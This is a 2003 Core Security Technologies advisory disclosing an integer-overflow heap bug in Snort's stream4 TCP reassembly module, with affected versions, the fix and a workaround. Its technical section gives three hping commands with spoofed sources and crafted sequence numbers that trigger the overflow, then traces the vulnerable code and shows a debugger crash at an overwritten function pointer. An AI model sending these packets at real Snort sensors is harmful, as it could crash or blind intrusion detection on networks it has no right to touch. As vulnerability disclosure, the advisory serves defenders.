Advisories

04 | 15 | 2003

Snort TCP Stream Reassembly Integer Overflow Vulnerability

Core Security Technologies Advisory
http://www.coresecurity.com

Date Published: 2003-04-15

Last Update: 2003-04-15

Advisory ID: CORE-2003-0307

Bugtraq ID: 7178

BID: 7178

CVE Name: CAN-2003-0209

CERT: VU#139129

Title: Snort TCP Stream Reassembly Integer Overflow Vulnerability

Class: Failure to handle exceptional conditions

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL: http://www.coresecurity.com/common/showdoc.php?idx=313&idxseccion=10

Release Mode: COORDINATED RELEASE

Vulnerability Description:

Snort is a very popular open source network intrusion detection system. It can detect hundreds of different attacks by analyzing packets received on the network and applying a database of pattern matching rules. Snort also comes with modules and plugins that perform a variety of functions such as protocol analysis, output, and logging. For more information about Snort visit http:///www.snort.org.

The stream4 preprocessor module is a Snort plugin that reassembles TCP traffic before passing it on to be analyzed. It also detects several types of IDS evasion attacks.

We have discovered an exploitable heap overflow in this module resulting from sequence number calculations that overflow a 32 bit integer variable.

To exploit this vulnerability an attacker does not need to know on which host the Snort sensor is running. It is only necessary to guess where to send traffic that the Snort sensor will 'see' and analyze.

Successful exploitation of this vulnerability could lead to execution of arbitrary commands on a system running the Snort sensor with the privileges of the user running the snort process (usually root), a denial of service attack against the snort sensor and possibly the implementation of IDS evasion techniques that would prevent the sensor from detecting attacks on the monitored network.

Vulnerable Packages:

. Snort 2.0 versions prior to RC1
. Snort 1.9.x
. Snort 1.8.x
. IDSes and other security appliances using snort technology embedded.

Solution/Vendor Information/Workaround:

Snort 2.0 released on April 14th, is available and includes fixes to the vulnerability reported in this advisory.

The source code package for Snort 2.0 can be obtained from http://www.snort.org/dl/snort-2.0.0.tar.gz

Binaries can be obtained from http://www.snort.org/dl/binaries

A workaround for this bug is to disable the TCP stream reassembly module. This can be done by commenting out the following line from your Snort configuration file (usually 'snort.conf') and sending a SIGHUP signal to the running Snort process:

```
preprocessor stream4_reassemble
```

Although this will prevent the vulnerability from being exploited it will make it possible to easily evade the IDS by fragmenting attacks across multiple TCP segments.

Credits:

This vulnerability was discovered by Bruce Leidl, Juan Pablo Martinez Kuhn, and Alejandro David Weil from **Core Security Technologies** during Bugweek 2003 (March 3-7, 2003).

Technical Description - Exploit/Concept Code:

The vulnerability can be demonstrated by sending some specially crafted packets with the free command line packet creating utility called hping which you can download from http://www.hping.org.

In the following example 192.168.22.6 and 192.168.22.2 are both hosts that actually exist and are on a network monitored by the Snort sensor.

Two packets are sent from 192.168.22.2 to port 111 on host 192.168.22.6 and then one packet is sent back to host 192.168.22.2 from 192.168.22.6.

```
hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0x1 \\
 --setseq 0xffff0023 --setack 0xc0c4c014

hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0xF00 \\
 --setseq 0xffffffff --setack 0xc0c4c014

hping 192.168.22.6 -a 192.168.22.2 -s 111 -p 3339 --ack -c 1 -d 0 \\
 --setseq 0xc0c4c014 --setack 0xffffffff
```

The first packet sets up a new Session structure in the stream4 module and the important detail is that the base_seq in the client Stream is set to 0xffff0023.

The second packet sends 3840 bytes of data in a large fragmented IP datagram. This adds a packet with the sequence number 0xffffffff to the tree of stream data to be reassembled.

The last packet sets the last_ack of the client stream to 0xffffffff and since the difference between the base_seq and the last_ack of the client stream is very large it is flushed for analysis.

When the stream is reassembled and the second large packet is added, the stream is set up with these values in TraverseFunc() in spp_stream4.c.

```
s->base_seq = 0xffff0023
s->next_seq = 0xffff0024
s->last_ack = 0xffffffff
```

The packet itself has these values

```
spd->seq_num = 0xffffffff
spd->payload_size = 0xf00
```

The first sanity check makes sure that the packet sequence number is between the base_seq and last_ack values for the stream

```
spp_stream4.c:Traversefunc()

   if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack)
```

This condition must evaluate to FALSE or the function returns.

Then there is a check that is supposed to detect conditions that would overflow the buffer so that later code can handle it by truncating the data.

The packet sequence number must be greater than both the base_seq and next_seq for the stream

```
spd->seq_num >= s->base_seq  &&
spd->seq_num >= s->next_seq &&
```

This condition is supposed to detect a packet that will overflow the buffer (since the difference between base_seq and last_ack has already been verified to be smaller than the buffer size). However, if (spd->seq_num + spd->payload_size) overflows a 32 bit integer value the expression evaluates to a small integer and the condition is passed.

```
(spd->seq_num + spd->payload_size) <= s->last_ack
```

Then the offset in the buffer to copy the packet to is calculated.
With our values, this becomes 0xffdc which is near to the end of buffer.

```
offset = spd->seq_num - s->base_seq (offset = 0xffdc)
```

This memcpy() copies spd->payload_size (0xf00) bytes of data starting at buf + offset (near the end of the buffer) overflowing into the heap.

```
memcpy(buf + offset, spd->payload, spd->payload_size)
```

On our Linux build of Snort 1.9.0 this overflow conveniently overwrites a function pointer that is called immediately after the reassembly preprocessor returns:

```
80          while(idx != NULL)
(gdb)
82              assert(idx->func != NULL);
(gdb)
83              idx->func(p);
(gdb)

Program received signal SIGSEGV, Segmentation fault.
 0x58585858 in ?? ()
```

We have successfully exploited this vulnerability and produced an exploit that functions on several different binaries of Snort 1.9.0 and 1.9.1. It is available as a module for our penetration testing product CORE IMPACT
.

About Core Security Technologies

Core Security Technologies develops strategic security solutions for Fortune 1000 corporations, government agencies and military organizations. The company offers information security software and services designed to assess risk and protect and manage information assets.
Headquartered in Boston, MA, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

To learn more about CORE IMPACT, the first comprehensive penetration testing framework, visit: http://www.coresecurity.com/products/coreimpact

DISCLAIMER:

$Id: snort-stream4-advisory.txt,v 1.7 2003/04/15 18:49:01 carlos Exp $